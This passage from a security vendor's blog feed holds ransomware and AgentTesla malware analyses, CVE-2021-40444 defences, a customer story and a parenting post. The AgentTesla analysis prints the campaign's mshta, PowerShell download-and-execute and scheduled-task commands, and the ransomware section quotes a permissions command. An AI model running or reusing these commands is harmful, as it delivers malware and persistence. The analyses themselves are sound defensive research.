The next action is to check if the user that launched the process belongs to the local group of Administrators in the machine using the function “SHTestTokenMembership”. In the case that the user belongs to the administrator group the code will continue normally but in other cases it will get the operating system version using the PEB (to avoid using API functions that can alter the version) and, if it is available, will open the process and check the token to see if that belongs to the Administrators group.
FIGURE 7. BlackMatter checking if it has administrator rights
In the case that the user does not belong to the Administrator group the process token will use a clever trick to escalate privileges.
The first action is to prepare the string “dllhost.exe” and enumerate all modules loaded. For each module it will check one field in the initial structure that all executables have that keeps the base memory address where it will be loaded (for example, kernel32.dll in 0x7fff0000) and will compare with its own base address. If it is equal, it will change its name in the PEB fields and the path and arguments path to “dllhost.exe” (in the case of the path and argument path to the SYSTEM32 folder, where the legitimate “dllhost.exe” exists). This trick is used to try and mislead the user. For each module found it will check the base address of the module with its own base address and, at that moment, will change the name of the module loaded, the path, and arguments to mislead the user.
FIGURE 8. Decryption of the string “dllhost.exe”
The process name will be “dllhost.exe” and the path will be the system directory of the victim machine. This trick, besides not changing the name of the process in the TaskManager, can make a debugger “think” that another binary is loaded and remove all breakpoints (depending on the debugger used).
FIGURE 9. Changing the name and path in the PEB
The second action is to use one exploit using COM (Component Object Model) objects to try to elevate privileges before finishing its own instance using the “Terminate Process” function.
For detection, the module uses an undocumented function from NTDLL.DLL, “LoadedModulesLdrCallback” that lets the programmer set a function as a callback where it can get the arguments and check the PEB. In this callback the malware will set the new Unicode strings using “RtlInitUnicodeString”; the strings are the path to “dllhost.exe” in the system folder and “dllhost.exe” as the image name.
The exploit used to bypass the UAC (User Access Control), which is public, uses the COM interface of CMSTPLUA and the COM Elevation Moniker.
In the case that it has administrator rights or uses the exploit with success, it will continue making the new extension that will be used with the encrypted files. For this task it will read the registry key of “Machine Guid” in the cryptographic key (HKEY LOCAL MACHINE).
This entry and value exist in all versions of Windows and is unique for the machine; with this value it will make a custom hash and get the final string of nine characters.
FIGURE 10. Creating the new extension for the encrypted files
Next, the malware will create the ransom note name and calculate the integrity hash of it. The ransom note text is stored encrypted in the malware data. Usually the ransom note name is “%s.README.txt”, where the wildcard is filled with the new extension generated previously.
The next step is to get privileges that will be needed later; BlackMatter tries to get many privileges:
| · SE_BACKUP_PRIVILEGE
· SE_DEBUG_PRIVILEGE, SE_IMPERSONATE_PRIVILEGE · SE_INC_BASE_PRIORITY_PRIVILEGE · SE_INCREASE_QUOTA_PRIVILEGE · SE_INC_WORKING_SET_PRIVILEGE · SE_MANAGE_VOLUME_PRIVILEGE · SE_PROF_SINGLE_PROCESS_PRIVILEGE · SE_RESTORE_PRIVILEGE · SE_SECURITY_PRIVILEGE · SE_SYSTEM_PROFILE_PRIVILEGE · SE_TAKE_OWNERSHIP_PRIVILEGE · SE_SHUTDOWN_PRIVILEGE |
FIGURE 11. Setting special privileges
After getting the privileges it will check if it has SYSTEM privileges, checking the token of its own process. If it is SYSTEM, it will get the appropriate user for logon with the function “WTSQueryUserToken”. This function only can be used if the caller has “SeTcbPrivilege” that, by default, only SYSTEM has.
FIGURE 12. Obtaining the token of the logged on user
After getting the token of the logged on user the malware will open the Windows station and desktop.
In the case that it does not have SYSTEM permissions it will enumerate all processes in the system and try to duplicate the token from “explorer.exe” (the name is checked using a hardcoded hash), if it has rights it will continue normally, otherwise it will check again if the token that was duplicated has administrator rights.
In this case it will continue normally but in other cases it will check the operating system version and the CPU (Central Processing Unit) mode (32- or 64- bits). This check is done using the function “ZwQueryInformationProcess” with the class 0x1A (ProcessWow64Information).
FIGURE 13. Checking if the operating system is 32- or 64-bits
In the case that the system is 32-bits it will decrypt one little shellcode that will inject in one process that will enumerate using the typical “CreateRemoteThread” function. This shellcode will be used to get the token of the process and elevate privileges.
In the case that the system is 64-bits it will decrypt two different shellcodes and will execute the first one that gets the second shellcode as an argument.
FIGURE 14. BlackMatter preparing shellcodes to steal system token
These shellcodes will allow BlackMatter to elevate privileges in a clean way.
Is important to understand that to get the SYSTEM token BlackMatter will enumerate the processes and get “svchost.exe”, but not only will it check the name of the process, it will also check that the process has the privilege “SeTcbPrivilege”. As only SYSTEM has it by default (and it is one permission that cannot be removed from this “user”) it will be that this process is running under SYSTEM and so it becomes the perfect target to attack with the shellcodes and steal the token that will be duplicated and set for BlackMatter.
FIGURE 15. Checking if the target process is SYSTEM
After this it will decrypt the configuration that it has embedded in one section. BlackMatter has this configuration encrypted and encoded in base64.
This configuration has a remarkably similar structure to Darkside, offering another clear hint that the developers are one and the same, despite their claims to the contrary.
After decryption, the configuration can get this information:
|
After getting the configuration and parsing it, BlackMatter will start checking if it needs to make a login with some user that is in the configuration. In this case it will use the function “LogonUser” with the information of the user(s) that are kept in the configuration; this information has one user and one password: “test@enterprise.com:12345” where “test” is the user, “@enterprise.com” is the domain and “12345” the password.
The next action will be to check with the flag to see if a mutex needs to be created to avoid having multiple instances.
This mutex is unique per machine and is based in the registry entry “MachineGuid” in the key “Cryptography”. If the system has this mutex already the malware will finish itself.
Making a vaccine with a mutex can sometimes be useful but not in this case as the developers change the algorithm and only need to set the flag to false to avoid creating it.
FIGURE 16. Creation of the mutex to avoid multiple instances
After, it will check if it needs to send information to the C2. If it does (usually, but not always) it will get information of the victim machine, such as username, computer name, size of the hard disks, and other information that is useful to the malware developers to know how many machines are infected.
This information is encoded with base64 and encrypted with AES using the key in the configuration.
FIGURE 17. Encrypted information sent to the C2
The C2 addresses are in the configuration (but not all samples have them, in this case the flag to send is false). The malware will try to connect to the C2 using a normal protocol or will use SSL checking the initial “http” of the string.
FIGURE 18. Get information of the victim machine and user
The information is prepared in some strings decrypted from the malware and sent in a POST message.
FIGURE 19. Choose to send by HTTP or HTTPS
The message has values to mislead checks and to try and hide the true information as garbage. This “fake” data is calculated randomly.
The C2 returns garbage data but the malware will check if it starts and ends with the characters “{“ and “}”; if it does the malware will ignore sending the information to another C2.
FIGURE 20. Checking for a reply from the C2 after sending
BlackMatter is a multithread application and the procedure to send data to the C2 is done by a secondary thread.
After that, BlackMatter will enumerate all units that are FIXED and REMOVABLE to destroy the recycle bin contents. The malware makes it for each unit that has it and are the correct type. One difference with DarkSide is that it has a flag for this behavior while BlackMatter does not.
The next action is to delete the shadow volumes using COM to try and avoid detection using the normal programs to manage the shadow volumes. This differs with DarkSide that has a flag for this purpose.
FIGURE 21. Destruction of the shadow volumes using COM
BlackMatter will check another flag and will enumerate all services based on one list in the configuration and will stop target services and delete them.
This behavior is the same as DarkSide.
FIGURE 22. Stopping services and deleting them
Processes will be checked and terminated as with DarkSide, based on other configuration flags.
After terminating the processes BlackMatter will stop the threads from entering suspension or hibernating if someone is using the computer to prevent either of those outcomes occurring when it is encrypting files. This is done using the function “ZwSetThreadExecutionState”.
FIGURE 23. Preventing the machine being suspended or hibernated
The next action will be to enumerate all units, fixed and on the network, and create threads to encrypt the files. BlackMatter uses Salsa20 to encrypt some part of the file and will save a new block in the end of the file, protected with the RSA key embedded in the configuration with the Salsa20 keys used to encrypt it. This makes BlackMatter slower than many other ransomwares.
After the encryption it will send to the C2 all information about the encryption process, how many files were crypted, how many files failed, and so on. This information is sent in the manner previously described, but only if the config is set to true.
FIGURE 24. Release of the mutex
If one mutex was created in this moment it will be released. Later it will check the way that the machine boots with the function “GetSystemMetrics”. If the boot was done in Safe Mode BlackMatter will set some keys for persistence in the registry for the next reboot and then attack the system, changing the desktop wallpaper.
FIGURE 25. Determining whether the system boots in safe mode or normal mode
Of course, it will disable the safeboot options in the machine and reboot it (it is one of the reasons why it needs the privilege of shutdown).
To ensure it can launch in safe mode, the persistence key value with the path of the malware will start with a ‘*’.
FIGURE 26. Setting the persistance registry key
If the machine starts in the normal way, it will change the desktop wallpaper with an alternative generated in runtime with some text about the ransom note.
FIGURE 27. BlackMatter makes the new wallpaper in runtime
The new versions have some differences compared with versions 1.2 to 1.6:
Additional changes in version 2.0:
These changes suggest the developers are active on social media, with an interest in malware and security researchers.
Unlike some ransomware we’ve seen in the past, such as GandCrab , BlackMatter has good code, but it does have some design flaws that can be used in some cases to avoid having the malware encrypt the files.
This vaccine is not intended to be used in the normal way, rather only in special cases as, while it works, other programs can be affected (we obviously cannot test all third party programs but potential issues are likely to include data corruption and unpredictable behavior), and the fix is not permanent.
Steps to make the vaccine (proceed at your own risk):
In this moment BlackMatter cannot affect the machine as it needs the registry key to make the ransom extension, and the most important thing is, if it cannot make it, it will return the function WITHOUT decrypting the config that is needed too. In this case it will destroy the recycle bin and shadow volumes anyways but later it will finish as it does not have any behavior to do, RSA Key to protect the files, or anything to send to the C2 as the flag was never read from the config (and the default values are false for all of them).
Though the behavior of other programs may be unpredictable, the vaccine is easy to make, and the system will boot, showing that the BlackMatter programmers made a mistake in the design of the code.
This vaccine works for all versions, including 2.0.
The sample uses the following MITRE ATT&CK techniques:
| Technique ID | Technique Description | Observable |
| T1134 | Access Token Manipulation | BlackMatter accesses and manipulates different process tokens. |
| T1486 | Data Encrypted for Impact | BlackMatter encrypts files using a custom Salsa20 algorithm and RSA. |
| T1083 | File and Directory Discovery
|
BlackMatter uses native functions to enumerate files and directories searching for targets to encrypt. |
| T1222.001 | Windows File and Directory Permissions Modification | BlackMatter executes the command icacls “<DriveLetter>:\*” /grant Everyone: F /T /C /Q to grant full access to the drive. |
| T1562.001 | Disable or Modify Tools | BlackMatter stops services related to endpoint security software. |
| T1106 | Native API | BlackMatter uses native API functions in all code. |
| T1057 | Process Discovery | BlackMatter enumerates all processes to try to discover security programs and terminate them. |
| T1489 | Service Stop | BlackMatter stops services. |
| T1497.001 | System Checks | BlackMatter tries to detect debuggers, checking the memory reserved in the heap. |
| T1135 | Network Share Discovery | BlackMatter will attempt to discover network shares by building a UNC path in the following format for each driver letter, from A to Z: \\<IP>\<drive letter>$ |
| T1082 | System Information Discovery | BlackMatter uses functions to retrieve information about the target system. |
| T1592 | Gather Victim Host Information | BlackMatter retrieves information about the user and machine. |
| T1070 | Valid Accounts | BlackMatter uses valid accounts to logon to the victim network. |
| T1547 | Boot or Logon Autostart Execution | BlackMatter installs persistence in the registry. |
| T1102 | Query Registry | BlackMatter queries the registry for information. |
| T1018 | Remote System Discovery | BlackMatter enumerates remote machines in the domain. |
| T1112 | Modify Registry | BlackMatter changes registry keys and values and sets new ones. |
BlackMatter is a new threat in the ransomware field and its developers know full well how to use it to attack their targets. The coding style is remarkably similar to DarkSide and, in our opinion, the people behind it are either the same or have a very close relationship.
BlackMatter shares a lot of ideas, and to some degree code, with DarkSide:
It is important to keep your McAfee Enterprise products updated to the latest detections and avoid insecure remote desktop connections, maintain secure passwords that are changed on a regular basis, take precautions against phishing emails, and do not connect unnecessary devices to the enterprise network.
Despite some effective coding, mistakes have been made by the developers, allowing the program to be read, and a vaccine to be created, though we will stress again that it can affect other programs and is not a permanent solution and should be employed only if you accept the risks associated with it.
The post BlackMatter Ransomware Analysis; The Dark Side Returns appeared first on McAfee Blog.
Hyper-growth and a determination to stand above the crowd compelled a popular Eastern European telecom to upgrade its trusty McAfee Enterprise security infrastructure, which they relied on for many years to protect their 8,000 corporate endpoints. Competitive pressure to keep costs low and cybercriminals at bay for both their internal users and their customers spurred the mobile and fixed telephony company to enhance their existing security architecture with the latest endpoint and cloud-based protections from McAfee Enterprise.
The integrated McAfee Enterprise approach—with ePolicy Orchestrator ( ePO) at the helm as the single-pane-of-glass management hub—enabled the security architect to build out a strong security foundation, with McAfee Enterprise endpoint and data protection solutions and Microsoft Defender as the mainstays of the telecom’s line of defense.
With ransomware and other advanced threats grabbing headlines, the telecom company felt a pressing need to upgrade its McAfee Enterprise infrastructure and expand its on-premises endpoint protection to cloud-based McAfee Enterprise Endpoint Security. The organization also added MVISION Endpoint Threat Detection and Response (MVISION® EDR) and deployed two McAfee Enterprise Advanced Threat Defense appliances for dynamic and static sandboxing. These deployments were easily integrated into the telecom’s existing security architecture—with all solutions managed by McAfee Enterprise ePO software.
McAfee Enterprise Endpoint Security was instrumental in both simplifying and boosting endpoint protection, as multiple technologies—Threat Protection, Firewall, Web Control, and Adaptive Threat Prevention—are consolidated into a single agent. Leveraging threat data from local endpoints and McAfee Enterprise Global Threat Intelligence in the cloud, the telecom’s security team is also empowered to detect zero-day threats in near real time. When a threat is identified on a given endpoint, that information is automatically shared with all the other endpoints. And when an unknown or suspicious file is detected, it is immediately quarantined for analysis by MVISION EDR or the McAfee Endpoint Advanced Threat Defense sandbox.
Investigation had once been a lengthy and laborious manual process, often taking days or weeks. Sometimes detections of malicious activity were even ignored due to time constraints. But, after implementing MVISION EDR, things changed dramatically. Investigations and remediations now take as little as 10 to 15 minutes. The security team is catching more threats than ever before, their workflows are streamlined, and investigations are faster. Best of all, thanks to MVISION EDR, team members have expanded their threat-hunting capacity—without augmenting their staff.
Because McAfee Enterprise Advanced Threat Defense appliances and MVISION EDR are integrated with McAfee Enterprise SIEM solutions and McAfee Enterprise ePO software, suspicious activity at an endpoint automatically triggers an investigation. Advanced analytics and artificial intelligence (AI) in MVISION enable administrators to understand the alert, sort out the facts, and remediate any threat. MVISION EDR does all the preparatory work, gathering and distilling relevant data, such as IP addresses and information about devices and users. Graphic visualizations and AI-guided investigations help analysts quickly get a grasp on what’s happening. The security team can also run real-time queries to see if something similar has occurred anywhere else, and they can conduct historical searches for greater context.
“The volume of malware we have to deal with has definitely shrunk since implementing McAfee Enterprise Endpoint Security. But the addition of MVISION EDR has made an even bigger impact on security posture. When our endpoints do encounter malware, we can now respond many times faster and more effectively than ever before,” points out the security architect.
The enhanced McAfee Enterprise security architecture has transformed the telecom company’s approach to maintaining a more resilient security posture. The company is now taking a more proactive defense as a result of the new, fully coordinated McAfee Enterprise toolset.
In addition to advanced threat-hunting capabilities, the ability to share threat information across the organization via the Data Exchange Layer (DXL) has also contributed to a more proactive stance. For example, whenever a malicious file is identified, that information is automatically added to the McAfee Enterprise Threat Intelligence Exchange threat reputation database and shared with all DXL-connected systems: endpoints, SIEM, Advanced Threat Defense sandboxes, MVISION EDR software, and even the company’s Cisco pxGrid infrastructure, a multivendor, cross-platform network system that pulls together different parts of an IT infrastructure.
The European telecom company has plans to migrate to the cloud, beginning with Microsoft Office 365 and Microsoft Azure. For the time being, the organization plans to keep the McAfee Enterprise ePO management console on premises, but, in the very near future, the plan is to protect internet-only users with cloud-based MVISION ePO.
“Taking measured steps to augment our security infrastructure has helped us succeed at keeping our company and customers secure,” say the security architect. “It’s nice to know that McAfee Enterprise can support us wherever we are in our journey and can extend our integrated security infrastructure from device to cloud when we’re ready.”
The post European Telecom Company Expands Its Footprint to Better Protect Users and Customers appeared first on McAfee Blog.
Despite the old adage that it takes a village to raise a child, new research from McAfee shows that an overwhelming majority (80%) of Aussies believe schools should be taking the lead in teaching our kids about online safety.
At the time of the survey in April 2021, nearly 40% of Aussie households had at least one family member participating in online learning – a number that has most definitely increased in recent months as the Delta variant hit Australian shores causing many schools to shut.
But despite this turn of circumstances, nearly half (48%) of Aussies didn’t take any proactive security measures to protect their family/home when distance learning was introduced, with 34% saying they saw no increased risk to their children’s online safety.
Now, here’s the interesting thing – these same respondents nominated in the same survey that they were extremely worried about their kids’ exposure to scams (43%), sharing personal information (43%), illegal content (35%), cyber-bullying (40%) and misinformation (31%). Confusing, I know!
There’s no doubt that managing kids and home learning while trying to keep your day job and keep the household running is an extremely tough gig! In fact, I think thousands of Aussie parents will deserve medals after this chapter in our lives is over! But, I think these statistics aren’t just about being overwhelmed and a lack of energy – as 80% of surveyed Aussies nominated that they believe it is in fact the responsibility of schools to teach our kids how to be safe online. Only 8% considered cyber safety to be the responsibility of the parent.
If there is anyone who gets just how intense family life can be it’s me! With four boys, 2 cats, a dog (and an action-orientated husband) to manage, I have spent years living in chaos! And I understand that it can often feel like a relief knowing that something can be outsourced or managed by someone else. But, when it comes to something as important as our kids’ online safety, it’s essential that we put that top of our list. Forget about the ironing and focus on your kids’ digital lives instead. I’ve been an advocate of letting body heat remove wrinkles for years!
Even if your child’s school is teaching digital wellness, it’s imperative that these messages are also reinforced at home. Here’s what I recommend you do to get your family’s digital safety back on track:
Ensure the devices your kids are using for school or homework have up-to-date software and security settings. Software updates are usually designed to address security weaknesses so using outdated software can be quite risky!
Using weak and default passwords is, without a doubt, one of the easiest ways to get into trouble online. Ensure your kids have complex passwords for EACH of their online accounts and devices. Passwords should contain numbers, special characters and both lower- and upper-case letters. I’m a big fan of a crazy sentence. Why not consider a password manager like McAfee’s free True Key to help them generate and remember their passwords – I know I couldn’t survive without mine!
Why not consider using a VPN when your kids are accessing online learning services from home to protect the privacy of the internet connection? VPN’s use bank-grade level encryption to stop hackers from stealing personal information like passwords or data.
With both misinformation and disinformation a major concern for Aussie parents, it’s critical that us parents educate our kids about fake news: how to spot it and why they shouldn’t share it. Encouraging kids to question what they read or watch online before deciding whether it is to be believed and shared will help establish important digital critical thinking skills.
I’m a big fan of family dinners, even if it’s a humble bowl of spaghetti bolognese! In my opinion, it’s the perfect time to weave in messages of all types but particularly ones of a digital safety nature. Why not share stories of data breaches and what affected consumers had to do to prevent being hacked? Share news stories about new apps or scams, stories of kindness online, and digital citizenship you’ve witnessed online. Once you start sharing, you’ll likely find your kids want to share their stories too. But always keep calm and interested – otherwise they’ll stop talking!!
As a mum of four and cybersafety ambassador, I believe that a village approach is the absolute best way of setting our kids up for safe and positive interactions online. So, if you’re feeling unsure about what to tell your kids, spend some time educating yourself. We are lucky enough to have a dedicated eSafety Commissioner here in Australia who has a plethora of resources for Aussie parents. Spend some time checking it out, I promise it will be worth it!
Till next time, stay safe everyone!
Alex xx
The post “School Should Be Teaching Online Safety” says 80% of Aussie Parents appeared first on McAfee Blog.
Authored by Anuradha M
McAfee Labs have observed a new phishing campaign that utilizes macro capabilities available in Microsoft PowerPoint. In this campaign, the spam email comes with a PowerPoint file as an attachment. Upon opening the malicious attachment, the VBA macro executes to deliver variants of AgentTesla which is a well-known password stealer. These spam emails purport to be related to financial transactions.
AgentTesla is a RAT (Remote Access Trojan) malware that has been active since 2014. Attackers use this RAT as MASS(Malware-As-A-Service) to steal user credentials and other information from victims through screenshots, keylogging, and clipboard captures. Its modus operandi is predominantly via phishing campaigns.
During Q2, 2021, we have seen an increase in PowerPoint malware.
In this campaign, the spam email contains an attached file with a .ppam extension which is a PowerPoint file containing VBA code. The sentiment used was finance-related themes such as: “New PO300093 Order” as shown in Figure 2. The attachment filename is “300093.pdf.ppam”.
PPAM file:
This file type was introduced in 2007 with the release of Microsoft Office 2007. It is a PowerPoint macro-enabled Open XML add-in file. It contains components that add additional functionality, including extra commands, custom macros, and new tools for extending default PowerPoint functions.
Since PowerPoint supports ‘add-ins’ developed by third parties to add new features, attackers abuse this feature to automatically execute macros.
Technical Analysis:
Once the victim opens the “.ppam” file, a security notice warning pop-up as shown in Figure 3 to alert the user about the presence of macro.
From Figure 4, you can see that the Add-in feature of the PowerPoint can be identified from the content of [Content_Types].xml file which will be present inside the ppam file.
The PPAM file contains the following files and directories which can be seen upon extraction.
Once the victim enables the macro, the add-in gets installed silently without user knowledge, which can be seen in Figure 5. On seeing that there is no content and no slide in the PowerPoint, the user will close the file but, in the backend, macro code gets executed to initiate the malicious activity.
As you can see in Figure 6, the macro is executed within the add-in auto_open() event i.e.., macro is fired immediately after the presentation is opened and the add-in is loaded.
The PowerPoint macro code on execution launches an URL by invoking mshta.exe (Microsoft HTML Application) which is shown in Figure 7. The mshta process is launched by Powerpoint by calling the CreateProcessA() API.
Below are the parameters passed to CreateProcessA() API:
kernel32.CreateProcessA(00000000,mshta hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh,00000000,00000000,00000001,00000020,00000000,00000000,D,
Below is the command line parameter of mshta:
mshta hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh
The URL hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh is redirected to “hxxps://p8hj[.]blogspot[.]com/p/27.html” but it didn’t get any response from “27.html” at the time of analysis.
Later mshta.exe spawns powershell.exe as a child process.
Below is the command line parameters of PowerShell:
powershell.exe - ”C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt‘) -useB);i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-2.txt‘) -useB);i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-3.txt‘) -useB);
PowerShell downloads and executed script files from the above-mentioned URLs.
The below Figure 8 shows the content of the first url – “hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt”:
There are two binary files stored in two huge arrays inside each downloaded PowerShell file. The first file is an EXE file that acts as a loader and the second file is a DLL file, which is a variant of AgentTesla. PowerShell fetches the AgentTesla payload from the URLs mentioned in the command line, decodes it, and launches MSBuild.exe to inject the payload within itself.
Schedule Tasks:
To achieve persistence, it creates a scheduled task in “Task Scheduler” and drops a task file under C:\windows\system32\SECOTAKSA to make the entire campaign work effectively.
The new task name is “SECOTAKSA”. Its action is to execute the command “mshta hxxp:// //1230948%1230948@0v2x.blogspot.com/p/27.html” and it’s called every 80 minutes.
Below is the command line parameters of schtasks:
schtasks.exe - “C:\Windows\System32\schtasks.exe” /create /sc MINUTE /mo 80 /tn “”SECOTAKSA”” /F /tr “”\””MsHtA””\””hxxp://1230948%1230948@0v2x.blogspot.com/p/27.html\“”
Infection Chain:
Process Tree:
Mitigation:
McAfee’s Endpoint Security (ENS) and Windows Systems Security (WSS) product have DAT coverage for this variant of malware.
This malicious PPAM document with SHA256: fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182 is detected as “W97M/Downloader.dkw”.
The PPAM document is also blocked by the AMSI feature in ENS as AMSI-FKN!
Additionally, the Exploit Prevention feature in McAfee’s Endpoint Security product blocks the infection chain of this malware by adding the below expert rule so as to protect our customers from this malicious attack.
Expert Rule authored based on the below infection chain:
POWERPNT.EXE –> mshta.exe
Expert Rule:
Rule {
Process {
Include OBJECT_NAME { -v “powerpnt.exe” }
}
Target {
Match PROCESS {
Include OBJECT_NAME { -v “mshta.exe” }
Include PROCESS_CMD_LINE { -v “**http**” }
Include -access “CREATE”
}
}
}
IOCs
URLs:
hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh
hxxp:// //1230948%1230948@0v2x.blogspot.com/p/27.html
hxxps://p8hj[.]blogspot[.]com/p/27.html
hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt
hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-2.txt
hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-3.txt
EML files:
72e910652ad2eb992c955382d8ad61020c0e527b1595619f9c48bf66cc7d15d3
0afd443dedda44cdd7bd4b91341bd87ab1be8d3911d0f1554f45bd7935d3a8d0
fd887fc4787178a97b39753896c556fff9291b6d8c859cdd75027d3611292253
38188d5876e17ea620bbc9a30a24a533515c8c2ea44de23261558bb4cad0f8cb
PPAM files:
fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182
6c45bd6b729d85565948d4f4deb87c8668dcf2b26e3d995ebc1dae1c237b67c3
9df84ffcf27d5dea1c5178d03a2aa9c3fb829351e56aab9a062f03dbf23ed19b
ad9eeff86d7e596168d86e3189d87e63bbb8f56c85bc9d685f154100056593bd
c22313f7e12791be0e5f62e40724ed0d75352ada3227c4ae03a62d6d4a0efe2d
Extracted AgentTesla files:
71b878adf78da89dd9aa5a14592a5e5da50fcbfbc646f1131800d02f8d2d3e99
90674a2a4c31a65afc7dc986bae5da45342e2d6a20159c01587a8e0494c87371
The post Malicious PowerPoint Documents on the Rise appeared first on McAfee Blog.
Microsoft is warning its users of a zero-day vulnerability in Windows 10 and versions of Windows Server that is being leveraged by remote, unauthenticated attackers to execute code on the target system using specifically crafted office documents. Tracked as CVE-2021-40444 (CVSS score: 8.8), the remote code execution flaw is rooted in MSHTML (aka Trident), a proprietary browser engine for the now-discontinued Internet Explorer and which is used in Microsoft Office to render web content inside Word, Excel, and PowerPoint documents. This vulnerability is being actively exploited and protections should be put into place to prevent that. Microsoft has released guidance on a workaround, as well as updates to prevent exploitation, but below are additional McAfee Enterprise countermeasures you can use to protect your business.
Since originally reported, vulnerability exploitation has grown worldwide.
Figure 1. Latest MITRE ATT&CK framework for Exploitation of CVE-2021-40444. Source: MVISION Insights
Additional MITRE ATT&CK techniques have been identified since our original report. MVISION Insights will be regularly updated with the latest IOCs and hunting rules for proactive detection in your environment.
Figure 2. Latest MITRE ATT&CK framework for Exploitation of CVE-2021-40444. Source: MVISION Insights
The following McAfee Enterprise products can protect you against this threat.
Figure 3. Protection by ENS Module
For ENS, it’s important to have both Threat Protection (TP) and Adaptive Threat Protection (ATP) with GTI enabled. We are seeing 50% of detections based on ATP behavior analysis rules.
Figure 4. Protection by ENS Module
More details on Endpoint protection including MVISION EDR are included below.
McAfee Global Threat Intelligence (GTI) is currently detecting the analyzed IOCs for this exploitation. GTI will be continually updated as new indicators are observed in the wild.
ENS Threat Prevention module can provide added protections against exploitation of CVE-2021-40444 until a patch is deployed. The following signature in Exploit Prevention has shown coverage in testing of observed exploits; this signature could cause false positives, so it is highly advised to test in Report Mode or in sandbox environments before blocking in production environments.
Signature 2844: Microsoft Word WordPerfect5 Converter Module Buffer Overflow Vulnerability
Several custom Expert Rules can be implemented to prevent or detect potential exploitation attempts. As with all Expert Rules, please test them in your environment before deploying widely to all endpoints. Recommended to implement this rule in a log only mode to start.
Figure 5. Expert Rule to block or log exploitation attempts
Figure 6. Expert Rule to block or log exploitation attempts
ATP Rules
Adaptive Threat Protection module provides behavior-blocking capability through threat intelligence, rules destined to detect abnormal application activity or system changes and cloud-based machine-learning. To exploit this vulnerability, the attacker must gain access to a vulnerable system, most likely through Spearphishing with malicious attachments. These rules may also be effective in preventing initial access and execution. It is recommended to have the following rules in Observe mode at least and monitor for threat events in ePO.
As with all ATP Rules, please test them in your environment before deploying widely to all endpoints or turning on blocking mode.
The Real-Time Search feature in MVISION EDR provides the ability to search across your environment for behavior associated with the exploitation of this Microsoft vulnerability. Please see the queries to locate the “mshtml” loaded module associated with various application processes.
EDR Query One
Processes where Processes parentimagepath matches “winword|excel|powerpnt” and Processes cmdline matches “AppData\/Local\/Temp\/|\.inf|\.dll” and Processes imagepath ends with “\control.exe”
EDR Query Two
HostInfo hostname and LoadedModules where LoadedModules process_name matches “winword|excel|powerpnt” and LoadedModules module_name contains “mshtml” and LoadedModules module_name contains “urlmon” and LoadedModules module_name contains “wininet“
Additionally, the Historical Search feature within MVISION EDR will allow for the searching of IOCs even if a system is currently offline.
Figure 7. Using Historical Search to locate IOCs across all devices. Source: MVISION EDR
McAfee Enterprise has published the following KB article that will be updated as more information and coverage is released.
McAfee Enterprise coverage for CVE-2021-40444 – MSHTML Remote Code Execution
Since public disclosure of the vulnerability, it has been observed from successful exploitation of CVE-2021-40444 in the wild that threat actors are utilizing a Cobalt Strike payload to then drop ransomware later in the compromised environment. The association between this vulnerability and ransomware point to the possibility that the exploit has been added to the tools utilized in the ransomware-as-a-service (RaaS) ecosystem.
Figure 8. CVE-2021-40444-attack-chain (Microsoft)
The Ransomware Gangs that have been observed in these attacks have in the past been known to utilize the Ryuk and Conti variants of ransomware.
Please see below additional mitigations that can be utilized in the event your environment is compromised and added protections are needed to prevent further TTPs.
Cobalt Strike BEACON
MVISION Insights Campaign – Threat Profile: CobaltStrike C2s
Endpoint Security – Advanced Threat Protection:
Rule 2: Use Enterprise Reputations to identify malicious files.
Rule 4: Use GTI file reputation to identify trusted or malicious files
Rule 517: Prevent actor process with unknown reputations from launching processes in common system folders
Ryuk Ransomware Protection
MVISION Insights Campaign – Threat Profile: Ryuk Ransomware
Endpoint Security – Advanced Threat Protection:
Rule 2: Use Enterprise Reputations to identify malicious files.
Rule 4: Use GTI file reputation to identify trusted or malicious files
Rule 5: Use GTI file reputation to identify trusted or malicious URLs
Endpoint Security – Access Protection:
Rule: 1
Executables (Include):
*
Subrules:
Subrule Type: Files
Operations:
Create
Targets (Include):
*.ryk
Endpoint Security – Exploit Prevention
Signature 6153: Malware Behavior: Ryuk Ransomware activity detected
Conti Ransomware Protection
MVISION Insights Campaign – Threat Profile: Conti Ransomware
Endpoint Security – Advanced Threat Protection:
Rule 2: Use Enterprise Reputations to identify malicious files.
Rule 4: Use GTI file reputation to identify trusted or malicious files
Rule 5: Use GTI file reputation to identify trusted or malicious URLs
Endpoint Security – Access Protection Custom Rules:
Rule: 1
Executables (Include):
*
Subrules:
Subrule Type: Files
Operations:
create
Targets (Include):
*conti_readme.txt
Endpoint Security – Exploit Prevention
Signature 344: New Startup Program Creation
The post McAfee Enterprise Defender Blog | MSHTML CVE-2021-40444 appeared first on McAfee Blog.
Why am I here?
There’s a lot of information out there on critical vulnerabilities; this short bug report contains an overview of what we believe to be the most news and noteworthy vulnerabilities. We don’t rely on a single scoring system like CVSS to determine what you need to know about; this is all about qualitative and experience-based analysis, relying on over 100 years of combined industry experience within our team. We look at characteristics such as wormability, ubiquity of the target, likelihood of exploitation and impact. Today, we’ll be focusing on CVE-2021-40444.
What is it?
CVE-2021-40444 is a vulnerability in Office applications which use protected view such as Word, PowerPoint and Excel which allows an attacker to achieve remote code execution (RCE). CVE-2021-40444 is a vulnerability which allows a carefully crafted ActiveX control and a malicious MS Cabinet (.cab) file to be launched from an Office document.
Most importantly, this vulnerability impacts the applications themselves, as well as the Windows Explorer preview pane.
Who cares?
This is a great question! Pretty much anyone who uses any Microsoft Office applications, or has them installed, should be concerned.
